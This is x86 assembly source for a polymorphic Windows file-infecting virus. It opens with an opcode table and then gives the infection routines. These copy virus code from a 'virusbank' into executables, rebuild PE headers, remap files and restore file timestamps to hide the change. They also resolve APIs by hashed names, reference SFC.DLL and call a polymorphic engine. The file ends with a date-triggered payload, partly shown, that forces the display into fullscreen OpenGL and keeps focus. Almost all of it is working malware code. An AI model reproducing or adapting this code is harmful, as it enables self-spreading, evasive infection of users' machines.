variance16b Mem , Imm , 1000000000001000b , 16, 7, 8, 0, 13, 0, 0

instruction8 MOV , MemOffs , Acc , 10100010b , 8, 7, 0, 0, 0, 0, 0
variance8 Acc , MemOffs, 10100000b , 8, 7, 0, 0, 0, 0, 0
variance8 Reg , Imm , 10110000b , 8, 4, 0, 5, 0, 0, 0
variance16 Mem , Imm , 1100011000000000b , 16, 7, 8, 0, 13, 0, 0
variance16 Reg , Mem , 1000101000000000b , 16, 7, 8, 10, 13, 0, 0
variance16 Mem , Reg , 1000100000000000b , 16, 7, 8, 10, 13, 0, 0
variance16 Mem16 , Seg0 , 1000110000000000b , 16, 0, 8, 0, 13, 10, 0
variance16 Seg0 , Mem16 , 1000111000000000b , 16, 0, 8, 0, 13, 10, 0
variance Reg32 , CRn , 0010000011000000b , 32, 0, 0, 21, 0, 18, 0
variance CRn , Reg32 , 0010001011000000b , 32, 0, 0, 21, 0, 18, 0
variance Reg32 , DRn , 0010000111000000b , 32, 0, 0, 21, 0, 18, 0
variance DRn , Reg32 , 0010001111000000b , 32, 0, 0, 21, 0, 18, 0
variance Reg32 , TRn , 0010010011000000b , 32, 0, 0, 21, 0, 18, 0
variance TRn , Reg32 , 0010011011000000b , 32, 0, 0, 21, 0, 18, 0

instruction8 INC , RegWord , NULL , 01000000b , 8, 0, 0, 5, 0, 0, 0
variance16 Mem , NULL , 1111111000000000b , 16, 7, 8, 0, 13, 0, 0
instruction8b DEC , RegWord , NULL , 01001000b , 8, 0, 0, 5, 0, 0, 0
variance16b Mem , NULL , 1111111000001000b , 16, 7, 8, 0, 13, 0, 0

instruction8 PUSH , RegWord , NULL , 01010000b , 8, 0, 0, 5, 0, 0, 0
variance16 MemWord , NULL , 1111111100110000b , 16, 0, 8, 0, 13, 0, 0
variance16 Seg0 , NULL , 0000111110000000b , 16, 0, 0, 0, 0, 10, 0
variance8 SegOld , NULL , 00000110b , 8, 0, 0, 0, 0, 2, 0
variance8 Imm8 , NULL , 01101010b , 8, 0, 0, 0, 0, 0, 0
variance8 Imm , NULL , 01101000b , 8, 0, 0, 0, 0, 0, 0
instruction8 POP , RegWord , NULL , 01011000b , 8, 0, 0, 5, 0, 0, 0
variance16 MemWord , NULL , 1000111100000000b , 16, 0, 8, 0, 13, 0, 0
variance16 Seg0 , NULL , 0000111110000001b , 16, 0, 0, 0, 0, 10, 0
variance8 SegOld , NULL , 00000111b , 8, 0, 0, 0, 0, 2, 0

instruction8 RET , NULL , NULL , 11000011b , 8, 0, 0, 0, 0, 0, 0
variance8 ImmNEAR , NULL , 11000010b , 8, 0, 0, 0, 0, 0, 0

instruction8 RETF , NULL , NULL , 11001011b , 8, 0, 0, 0, 0, 0, 0
variance8 ImmFAR , NULL , 11001010b , 8, 0, 0, 0, 0, 0, 0


instruction8 Jcc , Short0 , NULL , 01110000b , 8, 0, 0, 0, 0, 0, 4
variance16 Near0 , NULL , 0000111110000000b , 16, 0, 0, 0, 0, 0, 12

instruction16 CALL , MemFar , NULL , 1111111100011000b , 16, 0, 8, 0, 13, 0, 0
variance8 Near0 , NULL , 11101000b , 8, 0, 0, 0, 0, 0, 0
variance8 Far0 , NULL , 10011010b , 8, 0, 0, 0, 0, 0, 0
variance16 Mem , NULL , 1111111100010000b , 16, 0, 8, 0, 13, 0, 0
instruction16 JMP , MemFar , NULL , 1111111100101000b , 16, 0, 8, 0, 13, 0, 0
variance8 Short0 , NULL , 11101011b , 8, 0, 0, 0, 0, 0, 0
variance8 Near0 , NULL , 11101001b , 8, 0, 0, 0, 0, 0, 0
variance8 Far0 , NULL , 11101010b , 8, 0, 0, 0, 0, 0, 0
variance16 Mem , NULL , 1111111100100000b , 16, 0, 8, 0, 13, 0, 0

instruction8 JCXZ , Short0 , NULL , 11100011b , 8, 0, 0, 0, 0, 0, 0
instruction8b LOOP , Short0 , NULL , 11100010b , 8, 0, 0, 0, 0, 0, 0
instruction8b LOOPZ , Short0 , NULL , 11100001b , 8, 0, 0, 0, 0, 0, 0
instruction8b LOOPNZ , Short0 , NULL , 11100000b , 8, 0, 0, 0, 0, 0, 0

instruction16 MUL , Mem , NULL , 1111011000100000b , 16, 7, 8, 0, 13, 0, 0
instruction16 NEG , Mem , NULL , 1111011000011000b , 16, 7, 8, 0, 13, 0, 0
instruction16 NOT , Mem , NULL , 1111011000010000b , 16, 7, 8, 0, 13, 0, 0

instruction16 RCL , Mem , d1 , 1101000000010000b , 16, 7, 8, 0, 13, 0, 0
variance16 Mem , CL0 , 1101001000010000b , 16, 7, 8, 0, 13, 0, 0
variance16 Mem , Imm8 , 1100000000010000b , 16, 7, 8, 0, 13, 0, 0
instruction16b RCR , Mem , d1 , 1101000000011000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , CL0 , 1101001000011000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , Imm8 , 1100000000011000b , 16, 7, 8, 0, 13, 0, 0
instruction16b ROL , Mem , d1 , 1101000000000000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , CL0 , 1101001000000000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , Imm8 , 1100000000000000b , 16, 7, 8, 0, 13, 0, 0
instruction16b ROR , Mem , d1 , 1101000000001000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , CL0 , 1101001000001000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , Imm8 , 1100000000001000b , 16, 7, 8, 0, 13, 0, 0
instruction16b SAR , Mem , d1 , 1101000000111000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , CL0 , 1101001000111000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , Imm8 , 1100000000111000b , 16, 7, 8, 0, 13, 0, 0
instruction16b SHL , Mem , d1 , 1101000000100000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , CL0 , 1101001000100000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , Imm8 , 1100000000100000b , 16, 7, 8, 0, 13, 0, 0
instruction16b SHR , Mem , d1 , 1101000000101000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , CL0 , 1101001000101000b , 16, 7, 8, 0, 13, 0, 0
variance16b Mem , Imm8 , 1100000000101000b , 16, 7, 8, 0, 13, 0, 0

instruction MOVZX , RegWord , Mem8 , 1011011000000000b , 32, 0, 16, 18, 21, 0, 0
variance RegWord , Mem16 , 1011011100000000b , 32, 0, 16, 18, 21, 0, 0
instructionb MOVSX , RegWord , Mem8 , 1011111000000000b , 32, 0, 16, 18, 21, 0, 0
varianceb RegWord , Mem16 , 1011111100000000b , 32, 0, 16, 18, 21, 0, 0

instruction8 AAA , NULL , NULL , 00110111b , 8, 0, 0, 0, 0, 0, 0
instruction8b AAS , NULL , NULL , 00111111b , 8, 0, 0, 0, 0, 0, 0
instruction8b CLC , NULL , NULL , 11111000b , 8, 0, 0, 0, 0, 0, 0
instruction8b CLD , NULL , NULL , 11111100b , 8, 0, 0, 0, 0, 0, 0
instruction8b CLI , NULL , NULL , 11111010b , 8, 0, 0, 0, 0, 0, 0
instruction8b CMC , NULL , NULL , 11110101b , 8, 0, 0, 0, 0, 0, 0
instruction8b CMPSB , NULL , NULL , 10100110b , 8, 0, 0, 0, 0, 0, 0
instruction8b CMPSD , NULL , NULL , 10100111b , 8, 0, 0, 0, 0, 0, 0
instruction8b CWD , NULL , NULL , 10011001b , 8, 0, 0, 0, 0, 0, 0
instruction8b CWDE , NULL , NULL , 10011000b , 8, 0, 0, 0, 0, 0, 0
instruction8b DAA , NULL , NULL , 00100111b , 8, 0, 0, 0, 0, 0, 0
instruction8b DAS , NULL , NULL , 00101111b , 8, 0, 0, 0, 0, 0, 0
instruction8b HLT , NULL , NULL , 11110100b , 8, 0, 0, 0, 0, 0, 0
instruction8b INSB , NULL , NULL , 01101100b , 8, 0, 0, 0, 0, 0, 0
instruction8b INSD , NULL , NULL , 01101101b , 8, 0, 0, 0, 0, 0, 0
instruction8b INT3 , NULL , NULL , 11001100b , 8, 0, 0, 0, 0, 0, 0
instruction8b INTO , NULL , NULL , 11001110b , 8, 0, 0, 0, 0, 0, 0
instruction8b IRETD , NULL , NULL , 11001111b , 8, 0, 0, 0, 0, 0, 0
instruction8b LAHF , NULL , NULL , 10011111b , 8, 0, 0, 0, 0, 0, 0
instruction8b LEAVE , NULL , NULL , 11001001b , 8, 0, 0, 0, 0, 0, 0
instruction8b LODSB , NULL , NULL , 10101100b , 8, 0, 0, 0, 0, 0, 0
instruction8b LODSD , NULL , NULL , 10101101b , 8, 0, 0, 0, 0, 0, 0
instruction8b MOVSB , NULL , NULL , 10100100b , 8, 0, 0, 0, 0, 0, 0
instruction8b MOVSD , NULL , NULL , 10100101b , 8, 0, 0, 0, 0, 0, 0
instruction8b NOP , NULL , NULL , 10010000b , 8, 0, 0, 0, 0, 0, 0
instruction8b OUTSB , NULL , NULL , 01101110b , 8, 0, 0, 0, 0, 0, 0
instruction8b OUTSD , NULL , NULL , 01101111b , 8, 0, 0, 0, 0, 0, 0
instruction8b POPAD , NULL , NULL , 01100001b , 8, 0, 0, 0, 0, 0, 0
instruction8b POPFD , NULL , NULL , 10011101b , 8, 0, 0, 0, 0, 0, 0
instruction8b PUSHAD , NULL , NULL , 01100000b , 8, 0, 0, 0, 0, 0, 0
instruction8b PUSHFD , NULL , NULL , 10011100b , 8, 0, 0, 0, 0, 0, 0
instruction8b SALC , NULL , NULL , 11010110b , 8, 0, 0, 0, 0, 0, 0
instruction8b SAHF , NULL , NULL , 10011110b , 8, 0, 0, 0, 0, 0, 0
instruction8b SCASB , NULL , NULL , 10101110b , 8, 0, 0, 0, 0, 0, 0
instruction8b SCASD , NULL , NULL , 10101111b , 8, 0, 0, 0, 0, 0, 0
instruction8b STC , NULL , NULL , 11111001b , 8, 0, 0, 0, 0, 0, 0
instruction8b STD , NULL , NULL , 11111101b , 8, 0, 0, 0, 0, 0, 0
instruction8b STI , NULL , NULL , 11111011b , 8, 0, 0, 0, 0, 0, 0
instruction8b STOSB , NULL , NULL , 10101010b , 8, 0, 0, 0, 0, 0, 0
instruction8b STOSD , NULL , NULL , 10101011b , 8, 0, 0, 0, 0, 0, 0
instruction8b WAIT , NULL , NULL , 10011011b , 8, 0, 0, 0, 0, 0, 0
instruction8b XLAT , NULL , NULL , 11010111b , 8, 0, 0, 0, 0, 0, 0
instruction8b LOCK , NULL , NULL , 11110000b , 8, 0, 0, 0, 0, 0, 0
instruction8b REP , NULL , NULL , 11110011b , 8, 0, 0, 0, 0, 0, 0
instruction8b REPNZ , NULL , NULL , 11110010b , 8, 0, 0, 0, 0, 0, 0

instruction8 XCHG , AccWord , RegWord, 10010000b , 8, 0, 0, 5, 0, 0, 0
; variance RegWord , AccWord, 10010000b , 8, 0, 0, 5, 0, 0, 0
variance16 Mem , Reg , 1000011000000000b , 16, 7, 8, 10, 13, 0, 0


instruction8 ENTER , Imm16 , Imm8 , 11001000b , 8, 0, 0, 0, 0, 0, 0

instruction8 IN , Acc , Imm8 , 11100100b , 8, 7, 0, 0, 0, 0, 0
variance8 Acc , DX0 , 11101100b , 8, 7, 0, 0, 0, 0, 0

instruction8 OUT , Imm8 , Acc , 11100110b , 8, 7, 0, 0, 0, 0, 0
variance8 DX0 , Acc , 11101110b , 8, 7, 0, 0, 0, 0, 0

instruction8 INT , Imm8 , NULL , 11001101b , 8, 0, 0, 0, 0, 0, 0


instruction16 INVD , NULL , NULL , 0000111100001000b , 16, 0, 0, 0, 0, 0, 0
instruction16b RSM , NULL , NULL , 0000111110101010b , 16, 0, 0, 0, 0, 0, 0
instruction16b RDMSR , NULL , NULL , 0000111100110010b , 16, 0, 0, 0, 0, 0, 0
instruction16b RDTSC , NULL , NULL , 0000111101010001b , 16, 0, 0, 0, 0, 0, 0
instruction16b RDPMC , NULL , NULL , 0000111100110011b , 16, 0, 0, 0, 0, 0, 0
instruction16b WBINVD , NULL , NULL , 0000111100001001b , 16, 0, 0, 0, 0, 0, 0
instruction16b WRMSR , NULL , NULL , 0000111100110000b , 16, 0, 0, 0, 0, 0, 0
instruction16b CLTS , NULL , NULL , 0000111100000110b , 16, 0, 0, 0, 0, 0, 0
instruction16b CPUID , NULL , NULL , 0000111110100010b , 16, 0, 0, 0, 0, 0, 0

instruction16 ARPL , Mem16 , Reg16 , 0110001100000000b , 16, 0, 8, 10, 13, 0, 0
instruction16b BOUND , Reg32 , Mem64 , 0110001000000000b , 16, 0, 8, 10, 13, 0, 0

instruction16 BSWAP , RegWord , NULL , 0000111111001000b , 16, 0, 0, 13, 0, 0, 0

instruction16 DIV , Mem , NULL , 1111011000110000b , 16, 7, 8, 0, 13, 0, 0
instruction16b IDIV , Mem , NULL , 1111011000111000b , 16, 7, 8, 0, 13, 0, 0

instruction16 IMUL , RegWord , MemWIm8, 0110101100000000b , 16, 0, 8, 10, 13, 0, 0
variance16 RegWord , MemWImm, 0110100100000000b , 16, 0, 8, 10, 13, 0, 0
variance16 RegWord , Imm8 , 0110101111000000b , 16, 0, 0, 10, 0, 0, 0
variance16 RegWord , Imm , 0110100111000000b , 16, 0, 0, 10, 0, 0, 0
variance RegWord , MemWord, 1010111100000000b , 32, 0, 16, 18, 21, 0, 0
variance16 Mem , NULL , 1111011000101000b , 16, 7, 8, 0, 13, 0, 0

instruction16 LDS , Reg16 , Mem32 , 1100010100000000b , 16, 0, 8, 10, 13, 0, 0
variance16 Reg32 , Mem64 , 1100010100000000b , 16, 0, 8, 10, 13, 0, 0
instruction16b LES , Reg16 , Mem32 , 1100010000000000b , 16, 0, 8, 10, 13, 0, 0
variance16b Reg32 , Mem64 , 1100010000000000b , 16, 0, 8, 10, 13, 0, 0

instruction16 LEA , RegWord , Mem , 1000110100000000b , 16, 0, 8, 10, 13, 0, 0

instruction16 TEST , Mem , Reg , 1000010000000000b , 16, 7, 8, 10, 13, 0, 0
variance8 Acc , Imm , 10101000b , 8, 7, 0, 0, 0, 0, 0
variance16 Mem , Imm , 1111011000000000b , 16, 7, 8, 0, 13, 0, 0

instruction BSF , RegWord , MemWord, 1011110000000000b , 32, 0, 16, 18, 21, 0, 0
instructionb BSR , RegWord , MemWord, 1011110100000000b , 32, 0, 16, 18, 21, 0, 0
instructionb LSL , RegWord , MemWord, 0000001100000000b , 32, 0, 16, 18, 21, 0, 0
instructionb LAR , RegWord , MemWord, 0000001000000000b , 32, 0, 16, 18, 21, 0, 0

instruction8 AAD , Imm8 , NULL , 11010101b , 8, 0, 0, 0, 0, 0, 0
instruction8b AAM , Imm8 , NULL , 11010100b , 8, 0, 0, 0, 0, 0, 0

instruction  BT      , MemWord , Imm8   , 1011101000100000b , 32,  0, 16,  0, 21,  0,  0  
variance MemWord , RegWord, 1010001100000000b , 32, 0, 16, 18, 21, 0, 0
instructionb BTC , MemWord , Imm8 , 1011101000111000b , 32, 0, 16, 0, 21, 0, 0
varianceb MemWord , RegWord, 1011101100000000b , 32, 0, 16, 18, 21, 0, 0
instructionb BTR , MemWord , Imm8 , 1011101000110000b , 32, 0, 16, 0, 21, 0, 0
varianceb MemWord , RegWord, 1011001100000000b , 32, 0, 16, 18, 21, 0, 0
instructionb BTS , MemWord , Imm8 , 1011101000101000b , 32, 0, 16, 0, 21, 0, 0
varianceb MemWord , RegWord, 1010101100000000b , 32, 0, 16, 18, 21, 0, 0

instruction CMPXCHG , Mem , Reg , 1011000000000000b , 32, 15, 16, 18, 21, 0, 0
instructionb XADD , Mem , Reg , 1100000000000000b , 32, 15, 16, 18, 21, 0, 0

instruction SGDT , Mem64 , NULL , 0000000100000000b , 32, 0, 16, 0, 21, 0, 0
instructionb SIDT , Mem64 , NULL , 0000000100001000b , 32, 0, 16, 0, 21, 0, 0
instructionb LGDT , Mem64 , NULL , 0000000100010000b , 32, 0, 16, 0, 21, 0, 0
instructionb LIDT , Mem64 , NULL , 0000000100011000b , 32, 0, 16, 0, 21, 0, 0
instructionb CMPXCHG8, Mem64 , NULL , 1100011100001000b , 32, 0, 16, 0, 21, 0, 0

instruction LFS , Reg16 , Mem32 , 1011010000000000b , 32, 0, 16, 18, 21, 0, 0
variance Reg32 , Mem64 , 1011010000000000b , 32, 0, 16, 18, 21, 0, 0
instructionb LGS , Reg16 , Mem32 , 1011010100000000b , 32, 0, 16, 18, 21, 0, 0
varianceb Reg32 , Mem64 , 1011010100000000b , 32, 0, 16, 18, 21, 0, 0
instructionb LSS , Reg16 , Mem32 , 1011001000000000b , 32, 0, 16, 18, 21, 0, 0
varianceb Reg32 , Mem64 , 1011001000000000b , 32, 0, 16, 18, 21, 0, 0

instruction LLDT , Mem16 , NULL , 0000000000010000b , 32, 0, 16, 0, 21, 0, 0
instructionb LMSW , Mem16 , NULL , 0000000100110000b , 32, 0, 16, 0, 21, 0, 0
instructionb LTR , Mem16 , NULL , 0000000000011000b , 32, 0, 16, 0, 21, 0, 0

instruction SHLD , MemWord , RegWIm8, 1010010000000000b , 32, 0, 16, 18, 21, 0, 0
variance MemWord , RegWCl , 1010010100000000b , 32, 0, 16, 18, 21, 0, 0
instructionb SHRD , MemWord , RegWIm8, 1010110000000000b , 32, 0, 16, 18, 21, 0, 0
varianceb MemWord , RegWCl , 1010110100000000b , 32, 0, 16, 18, 21, 0, 0

instruction SLDT , Mem16 , NULL , 0000000000000000b , 32, 0, 16, 0, 21, 0, 0
instructionb SMSW , Mem16 , NULL , 0000000100100000b , 32, 0, 16, 0, 21, 0, 0
instructionb STR , Mem16 , NULL , 0000000000001000b , 32, 0, 16, 0, 21, 0, 0
instructionb VERR , Mem16 , NULL , 0000000000100000b , 32, 0, 16, 0, 21, 0, 0
instructionb VERW , Mem16 , NULL , 0000000000101000b , 32, 0, 16, 0, 21, 0, 0

instruction SETcc , Mem8 , NULL , 1001000000000000b , 32, 0, 16, 0, 21, 0, 12
instruction INVLPG , Mem , NULL , 0000000100111000b , 32, 0, 16, 0, 21, 0, 0

instruction CMOVcc , Reg , Mem , 0100000000000000b , 32, 0, 16, 18, 21, 0, 12

db -1

updatecode:

push ebx
push ecx
push edx
push esi
push edi

push eax

pushad
getval virusbank

mov ecx,eax
ISyscall LoadBankInfoIt ; Should be a system call
mov edi,eax
mov dword ptr [esp+20h],eax

getval valuefill
add eax,edi
mov dword ptr [esp+20h-4],eax
popad

mov dword ptr [eax+8], offset I_Init-InfectStart ; set the image
mov ecx,dword ptr [edi+52]
mov dword ptr [eax+12], ecx
mov dword ptr [eax], offset I_Fini-InfectStart

getval virsize ; set virus size
mov edx,eax

getval dropplace ; and drop place
mov ebp,eax

mov eax,esi
pop esi
push esi
push eax
push edi

xor ebx,ebx
mov ecx,244

getseedvalue:

xor ebx,dword ptr [edi]
ror ebx,1

inc edi
loop getseedvalue

mov ecx,edx

ISyscall PolyMorphising ; pass all that to the polymorphic

pop edi
pop esi
mov edi,dword ptr [edi-6]
add edi,esi
pop esi

repz movsb ; repz from bank to file

pop edi
pop esi
pop edx
pop ecx
pop ebx

ret

;
; put here how the file should be updated
;

RVA2Offset:

push ebx
push ecx
push edx

movzx ecx,word ptr [edi+6]

getnextone:

mov ebx,dword ptr [edx+12]
cmp eax,ebx
jb getnext

add ebx,dword ptr [edx+8]
dec ebx

cmp eax,ebx
ja getnext

sub eax,dword ptr [edx+12]
add eax,dword ptr [edx+20]

pop edx
pop ecx
pop ebx

ret

getnext:

add edx,40

loop getnextone

pop edx
pop ecx
pop ebx

ret

RebuildLoaded:

push eax
push ecx
push edx

mov dword ptr [edi+28],0
mov dword ptr [edi+32],0
mov dword ptr [edi+36],0

movzx ecx,word ptr [edi+6]

thatgatat:

mov eax,dword ptr [edx+16]

bt dword ptr [edx+36],5
jnc dontaddcodedata

add dword ptr [edi+28],eax

dontaddcodedata:

bt dword ptr [edx+36],6
jnc dontaddinitdata

add dword ptr [edi+32],eax

dontaddinitdata:

bt dword ptr [edx+36],7
jnc dontadduninitdata

push ecx
push edx

mov eax,dword ptr [edx+8]
xor edx,edx
mov ecx,dword ptr [edi+60]
div ecx
inc eax
mul ecx

add dword ptr [edi+36],eax

pop edx
pop ecx

dontadduninitdata:

add edx,40

loop thatgatat

pop edx
pop ecx
pop eax

ret


goaway5:

pop eax
I_apicall 03D60E5B1h,0 ; UnmapViewOfFile
I_apicall 0F8F846CCh,0 ; CloseHandle

pop eax
push eax

lea edx,[esp+4+4+12+(5*4)]
push edx
lea edx,[esp+4+4+12+(4*4)]
push edx
lea edx,[esp+4+4+12+(3*4)]
push edx

push eax
I_apicall 03508B12Bh,0 ; SetFileTime

I_apicall 0F8F846CCh,0 ; CloseHandle

pop eax
add esp,512+12
jmp wefinished

ResizeAndRemap:

pushad

push eax
mov edx,esp

gogetagain:
add edx,4

cmp dword ptr [edx],esi
jne gogetagain

mov ebx,esi
neg ebx

cmp dword ptr [edx-4],ebx
jne gogetagain

pop eax

push edx
push eax
push edx

push esi
I_apicall 03D60E5B1h,0 ; UnmapViewOfFile

pop edx ; save the handles
mov eax,dword ptr [edx+4] ; load mapping handle

push edx

push eax
I_apicall 0F8F846CCh,0 ; CloseHandle
pop edx

pop eax ; load size
mov ebx,dword ptr [edx+4+4] ; load file handle

sub esp,12
mov edx,esp
mov dword ptr [edx],12
mov dword ptr [edx+4],0
mov dword ptr [edx+8],0

push 0
push eax
push 0
push 4
push edx
push ebx
I_apicall 97E2AF98h,0 ; CreateFileMappingA

add esp,12

pop edx
mov dword ptr [edx+4],eax ; save the handle

push edx

push 0
push 0
push 0
push 000F001Fh
push eax
I_apicall 3D547DB1h,0 ; MapViewOfFile

pop edx
mov dword ptr [edx],eax ; save map handle
neg eax
mov dword ptr [edx-4],eax ; and neg it
neg eax

mov dword ptr [esp+4],eax
popad
ret

wefinished:

popad
getval error
pop ebp
fini_m0:
ret

SFCLib: db 'SFC.DLL',0

ISyscall0: db 68h
InfectSyscall: dd offset RoutineHandler
ret

InfectEnd:

;
; Polymorphic module
;

PolyStart:

dd offset PolyEnd - PolyStart
db 1 ; workable system
db 1 ; workable infection
dd PolySyscall - PolyStart
dd Polyroutine - PolyStart

PSyscall macro I_ID_CoDE

mov dword ptr [esp-12], I_ID_CoDE
call PSyscall0
endm

Polyroutine:

push ecx
push edx

xor edx,edx
mov eax,dword ptr [ebp]
mov ecx,714024
div ecx

mov ebx,eax

pop edx
pop ecx

push ebp
loadpointer ebp,seed,poly24
mov dword ptr [ebp],ebx
pop ebp

mov ebp,dword ptr [ebp+4]

push esi
push edi

mov byte ptr [edi],0CCh

inc edi
inc ebp
call poly

pop esi
pop edi

inc ecx

ret

include poly.asm

PSyscall0: db 68h
PolySyscall: dd 0
ret
PolyEnd:

;
; Cool payload module, well this is a inc file container wich contain the asm
; file
;
; note that this file contain the Fast api call calling wich is a cache memory
; for api call, instead of each time recalculation, it's a pointer to a pointer
; to a junk buffer, as a small stack memory is passed to ecx, wich can
; accelerate many times api processing, what can be quite interresting for
; graphical payload as exemple.
;

PayloadStart:

dd offset PayloadEnd - PayloadStart ; module size
db 1 ; workable system
db 1 ; workable payload version
dd PayloadSyscall - PayloadStart ; External call
dd Payloadroutine - PayloadStart ; entrypoint relative


PSyscall macro I_ID_CoDE

mov dword ptr [esp-12], I_ID_CoDE
call PiSyscall0
endm

P_apicall macro crcval, libhandle

mov edx,libhandle
mov eax,crcval
PSyscall MApiCall

endm

FP_apicall macro crcval, libhandle, lpval

loadpointer ecx, Papindirected , &lpval&
mov edx,libhandle
mov eax,crcval
PSyscall FApiCall

endm


Payloadroutine:

pushad

sub esp,16

mov ebx,esp

push ebx
push ebx

P_apicall 0B50DB39h,0

pop ebx

cmp word ptr [ebx+6],20 ; in memory of cecile,
jne skippayload ; all started 20 octobre...

cmp word ptr [ebx+2],10
jne skippayload

pushfl macro float1, f2

call &f2&_getme1
&f2&_getme1: pop ebx
fld qword ptr [ebx+&f2&_load-&f2&_getme1]
sub esp,8
fstp qword ptr [esp]
jmp &f2&_end

&f2&_load: dq &float1&

&f2&_end:

endm

; int 3

loadpointer edx,opengldll,pp4
mov ecx,1
mov eax,7
PSyscall LoadLib

cmp eax,0
je finishpayit

loadpointer edx,gdi32dll,pp5
mov ecx,1
mov eax,8
PSyscall LoadLib

cmp eax,0
je finishpayit

loadpointer edx,glu32dll,pp6
mov ecx,1
mov eax,9
PSyscall LoadLib

cmp eax,0
je finishpayit

sub esp,12
mov edx,esp
mov dword ptr [edx],12
mov dword ptr [edx+4],0
mov dword ptr [edx+8],0

loadpointer ebx,InitPayloadThread, i22

push eax
push esp
push 0
push 0
push ebx
push 0
push edx
P_apicall 0CA2C0A90h,0 ; Create Thread

add esp,12

pop eax

finishpayit:

jmp PayCallExit

opengldll: db 'OPENGL32.DLL',0
gdi32dll: db 'GDI32.DLL',0
glu32dll: db 'GLU32.DLL',0

Papindirected: db 0

InitPayloadThread:

loadpointer ebx,Papindirected,ipt

mov ecx,32*8
sub esp,ecx
mov dword ptr [ebx],esp
mov edi,esp
xor eax,eax
repz stosb

;push 10000
;P_apicall 3126C0h,0 ; Sleep

xor ebp,ebp

push 0
P_apicall 1017D1A1h,0,k ; GetModuleHandle

push ebp
mov edx,esp

sub esp,4

mov dword ptr [esp], 'ALC'
mov ebx,esp

sub esp,40
mov dword ptr [esp],0
lea ecx,[ebp+WindowProc]
mov dword ptr [esp+4],ecx
mov dword ptr [esp+8],0
mov dword ptr [esp+12],0
mov dword ptr [esp+16],eax
mov dword ptr [esp+20],0
mov dword ptr [esp+24],0
mov dword ptr [esp+28],0
mov dword ptr [esp+32],0
mov dword ptr [esp+36],ebx

mov ecx,esp

push ebx
push eax
push ecx
P_apicall 0D48A96AAh,1 ; RegisterClassA
pop eax
pop ebx

pushad

;int 3

mov ecx,148

sub esp,ecx
mov edi,esp
xor eax,eax

repz stosb

mov dword ptr [esp+32+2+2],148 ; dmSize

mov dword ptr [esp+104],16 ; dmBitsPerPel
mov dword ptr [esp+108],640 ; dmWidth
mov dword ptr [esp+112],480 ; dmHeight

mov dword ptr [esp+40],1C0000h ; set dmFields =
; DM_BITSPERPEL | DM_PELSWIDTH | DM_PELSHEIGHT

mov edx,esp
push 4 ; CDS_FULLSCREEN
push edx ; dmScreenSettings
P_apicall 56C779B2h,1 ; ChangeDisplaySettingsA

add esp,148

push 0
P_apicall 7F2EA568h,1 ; ShowCursor

popad

sub esp,4
mov dword ptr [esp], 'LGO'
mov ebp,esp

push 0
push eax
push 0
push 0
push 480
push 640
push 0
push 0
push 90020000h
push ebp
push ebx
push 0400000h
P_apicall 7099FB9Ch,1 ; CreateWindowExA

add esp,40
pop esp
pop ebp

mov edx,esp
push edx

sub esp,44
mov ebx,esp

DoMLoop:

push eax
push ebx

push 0
push 0
push eax
push ebx
P_apicall 3BAC79F3h,1 ; GetMessageA

cmp eax,0
jne dontfixit

dontfixit:

pop ebx
pop eax

je finishMLoop

push eax
push ebx

push ebx
P_apicall 50D9920Ch,1 ; TranslateMessage

pop ebx
push ebx

push ebx
P_apicall 5BFFA45Ch,1 ; DispatchMessageA

pop ebx
pop eax

jmp DoMLoop

finishMLoop:

lea esp,[ebx+44]
pop esp

;push 0
;call ExitProcess

ret ; Thread return

WindowProc:

lpamval equ 16
wpamval equ 12
umsgval equ 8
hwndval equ 4

cmp dword ptr [esp+umsgval],86h ; WM_NCACTIVE
je gogoawayme

cmp dword ptr [esp+umsgval],6h ; WM_ACTIVATE
jne skipcreat

; Cecile, three week passed, I'm crying the news I don't have, I'm crying
; the love I don't have, I'm crying the passion u don't have, Cecile, you
; are so far I don't want anything much from your part...

gogoawayme:

pushad
push dword ptr [esp+20h+hwndval]
P_apicall 0A74E296Ch,1 ; SetForegroundWindow

push dword ptr [esp+20h+hwndval]
P_apicall 619AD6D8h,1 ; SetFocus

push dword ptr [esp+20h+hwndval]
P_apicall 0CC447A6Eh,1 ; SetActiveWindow

popad

xor eax,eax
ret 16

skipcreat:

;cmp dword ptr [esp+umsgval],10h ; WM_CLOSE
;jne skipQuitting
;
;quitting:
;
;push 0
;call PostQuitMessage
;xor eax,eax
;ret 16

skipQuitting:

cmp dword ptr [esp+umsgval],01h
jne SkipCreating

;int 3

push dword ptr [esp+hwndval]
FP_apicall 002ACB18h,1,k282 ; GetDC

sub esp,40

mov edx,eax

mov edi,esp ; Create the pixel format
xor eax,eax ; descriptor
mov ecx,40
repz stosb

mov eax,edx

mov word ptr [esp],40 ; fill open gl size
mov word ptr [esp+2],1 ; fill the version
mov dword ptr [esp+4],37 ; support opengl + draw window
; + double buff
mov byte ptr [esp+9],16 ; Color bit
mov byte ptr [esp+17],16 ; Depth bit

mov ecx,esp

push ecx ; ecx = *pfd
push eax ; eax = the DC

push ecx ;
push eax ;
P_apicall 7667726Eh,8 ; ChoosePixelFormat

cmp eax,0
pop ebx ; ebx = DC
pop ecx ; ecx = *pfd
je fixstackandExit

push ebx

push ecx
push eax ; eax = pixelformat
push ebx
FP_apicall 073D91C5Eh,8,k321 ; SetPixelFormat
; we setted pixel format :)
cmp eax,0
pop eax
je fixstackandExit

push eax
push eax
FP_apicall 4FE0E526h,7,k329 ; wglCreateContext
; setting open gl context
cmp eax,0
pop ebx
je fixstackandExit

push eax
push ebx
FP_apicall 07772016h,7,k337 ; wglMakeCurrent
; set our open gl context
;push 0BE2h
;call glEnable ; enable blending

push 0B57h
FP_apicall 075D1F228h,7,k343 ; glEnable
; enable material coloration
push 0B50h
FP_apicall 075D1F228h,7,k346 ; glEnable
; enable ligthing
push 4000h
FP_apicall 075D1F228h,7,k349 ; glEnable
; enable light 1
add esp,40

xor eax,eax
ret 16

fixstackandExit:

add esp,40

push 0
P_apicall 07818C6Bh,1 ; PostQuitMessage
xor eax,eax
ret 16

SkipCreating:

cmp dword ptr [esp+umsgval],05h ; WM_SIZE
jne skipResizing

